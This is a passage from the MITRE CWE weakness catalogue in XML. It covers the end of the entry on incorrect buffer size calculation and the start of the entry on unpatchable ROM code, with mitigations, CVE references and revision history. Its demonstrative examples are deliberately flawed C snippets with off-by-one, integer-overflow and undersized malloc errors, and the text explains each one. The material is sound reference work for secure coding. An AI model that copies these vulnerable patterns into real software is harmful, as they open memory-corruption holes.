		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
               <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-26">
               <Phase>Implementation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-20">
               <Intro_Text>The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int i;<xhtml:br/>unsigned int numWidgets;<xhtml:br/>Widget **WidgetList;<xhtml:br/>
                     <xhtml:br/>numWidgets = GetUntrustedSizeValue();<xhtml:br/>if ((numWidgets == 0) || (numWidgets &gt; MAX_NUM_WIDGETS)) {<xhtml:div style="margin-left:1em;">ExitError("Incorrect number of widgets requested!");</xhtml:div>}<xhtml:br/>WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));<xhtml:br/>printf("WidgetList ptr=%p\n", WidgetList);<xhtml:br/>for(i=0; i&lt;numWidgets; i++) {<xhtml:div style="margin-left:1em;">WidgetList[i] = InitializeWidget();</xhtml:div>}<xhtml:br/>WidgetList[numWidgets] = NULL;<xhtml:br/>showWidgets(WidgetList);</xhtml:div>
               </Example_Code>
               <Body_Text>However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-33">
               <Intro_Text>The following image processing code allocates a table for images.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>img_t table_ptr; /*struct containing img data, 10kB each*/<xhtml:br/>int num_imgs;<xhtml:br/>...<xhtml:br/>num_imgs = get_num_imgs();<xhtml:br/>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-19">
               <Intro_Text>This example applies an encoding procedure to an input string and stores it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char * copy_input(char *user_supplied_string){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int i, dst_index;<xhtml:br/>char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);<xhtml:br/>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){<xhtml:div style="margin-left:1em;">die("user string too long, die evil hacker!");</xhtml:div>}<xhtml:br/>dst_index = 0;<xhtml:br/>for ( i = 0; i &lt; strlen(user_supplied_string); i++ ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( '&amp;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">dst_buf[dst_index++] = '&amp;';<xhtml:br/>dst_buf[dst_index++] = 'a';<xhtml:br/>dst_buf[dst_index++] = 'm';<xhtml:br/>dst_buf[dst_index++] = 'p';<xhtml:br/>dst_buf[dst_index++] = ';';</xhtml:div>}<xhtml:br/>else if ('&lt;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* encode to &amp;lt; */</xhtml:i>
                                       <xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>}<xhtml:br/>else dst_buf[dst_index++] = user_supplied_string[i];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return dst_buf;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-21">
               <Intro_Text>The following code is intended to read an incoming packet from a socket and extract one or more headers.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>DataPacket *packet;<xhtml:br/>int numHeaders;<xhtml:br/>PacketHeader *headers;<xhtml:br/>
                     <xhtml:br/>sock=AcceptSocketConnection();<xhtml:br/>ReadPacket(packet, sock);<xhtml:br/>numHeaders =packet-&gt;headers;<xhtml:br/>
                     <xhtml:br/>if (numHeaders &gt; 100) {<xhtml:div style="margin-left:1em;">ExitError("too many headers!");</xhtml:div>}<xhtml:br/>headers = malloc(numHeaders * sizeof(PacketHeader);<xhtml:br/>ParsePacketHeaders(packet, headers);</xhtml:div>
               </Example_Code>
               <Body_Text>The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int *id_sequence;<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* Allocate space for an array of three ids. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:br/>id_sequence = (int*) malloc(3);<xhtml:br/>if (id_sequence == NULL) exit(1);<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* Populate the id array. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:br/>id_sequence[0] = 13579;<xhtml:br/>id_sequence[1] = 24680;<xhtml:br/>id_sequence[2] = 97531;</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].</Body_Text>
               <Body_Text>The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-17087</Reference>
               <Description>Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-17087</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1363</Reference>
               <Description>substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1363</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0747</Reference>
               <Description>substitution overflow: buffer overflow using expansion of environment variables</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0747</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2103</Reference>
               <Description>substitution overflow: buffer overflow using a large number of substitution strings</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2103</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3120</Reference>
               <Description>transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3120</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0899</Reference>
               <Description>transformation overflow: buffer overflow when expanding "&gt;" to "&amp;gt;", etc.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0899</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0334</Reference>
               <Description>expansion overflow: buffer overflow using wildcards</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0334</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0248</Reference>
               <Description>expansion overflow: long pathname + glob = overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0248</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0249</Reference>
               <Description>expansion overflow: long pathname + glob = overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0249</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0184</Reference>
               <Description>special characters in argument are not properly expanded</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0184</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0434</Reference>
               <Description>small length value leads to heap overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0434</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1347</Reference>
               <Description>multiple variants</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1347</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0490</Reference>
               <Description>needs closer investigation, but probably expansion-based</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0490</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0940</Reference>
               <Description>needs closer investigation, but probably expansion-based</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0940</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0599</Reference>
               <Description>Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0599</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Other length calculation error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT30-C</Entry_ID>
               <Entry_Name>Ensure that unsigned integer operations do not wrap</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM35-C</Entry_ID>
               <Entry_Name>Allocate sufficient memory for an object</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="100"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-106"/>
            <Reference External_Reference_ID="REF-107"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 20, &#34;Integer Overflows&#34; Page 620"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Incrementing Pointers Incorrectly&#34;, Page 401"/>
            <Reference External_Reference_ID="REF-64"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Notes>
            <Note Type="Maintenance">
               <xhtml:p>This is a broad category. Some examples include:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>simple math errors,</xhtml:li>
                     <xhtml:li>incorrectly updating parallel counters,</xhtml:li>
                     <xhtml:li>not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").</xhtml:li>
                  </xhtml:ul>
               <xhtml:p>This level of detail is rarely available in public reports, so it is difficult to find good examples.</xhtml:p>
            </Note>
            <Note Type="Maintenance">
               <xhtml:p>This weakness may be a composite or a chain. It also may contain layering or perspective differences.</xhtml:p>
               <xhtml:p>This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Other Length Calculation Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1310" Name="Missing Ability to Patch ROM Code" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>Missing an ability to patch ROM code may leave a System or System-on-Chip (SoC) in a vulnerable state.</Description>
			<Extended_Description>
				<xhtml:p>A System or System-on-Chip (SoC) that implements a boot process utilizing security mechanisms such as Root-of-Trust (RoT) typically starts by executing code from a Read-only-Memory (ROM) component. The code in ROM is immutable, hence any security vulnerabilities discovered in the ROM code can never be fixed for the systems that are already in use.</xhtml:p>
				
				<xhtml:p>A common weakness is that the ROM does not have the ability to patch if security vulnerabilities are uncovered after the system gets shipped.  This leaves the system in a vulnerable state where an adversary can compromise the SoC.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1329" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This issue could be introduced during hardware architecture and design and can be identified later during Testing.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>This issue could be introduced during implementation and can be identified later during Testing.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Integration</Phase>
                    <Note>This issue could be introduced during integration and can be identified later during Testing.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Manufacturing</Phase>
                    <Note>This issue could be introduced during manufacturing and can be identified later during Testing.</Note>
                </Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
                    <Scope>Other</Scope>
                    <Impact>Varies by Context</Impact>
                    <Impact>Reduce Maintainability</Impact>
                    <Likelihood>High</Likelihood>
					<Note>When the system is unable to be patched, it can be left in a vulnerable state.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>
					  Secure patch support to allow ROM code to be patched on the next boot.
                    </Description>
                    <Effectiveness>Moderate</Effectiveness>
                    <Effectiveness_Notes>
                        Some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable."
                    </Effectiveness_Notes>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>
					    Support patches that can be programmed in-field or during manufacturing through hardware fuses. This feature can be used for limited patching of devices after shipping, or for the next batch of silicon devices manufactured, without changing the full device ROM.
                    </Description>
                    <Effectiveness>Moderate</Effectiveness>
                    <Effectiveness_Notes>
                        Patches that use hardware fuses will have limitations in terms of size and the number of patches that can be supported. Note that some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable."
                    </Effectiveness_Notes>
				</Mitigation>
            </Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example Demonstrative_Example_ID="DX-146">
					<Intro_Text>
						<xhtml:p>A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.</xhtml:p>
					</Intro_Text>
					<Body_Text>ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="682"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-25</Submission_Date>
				</Submission>
				<Modification>
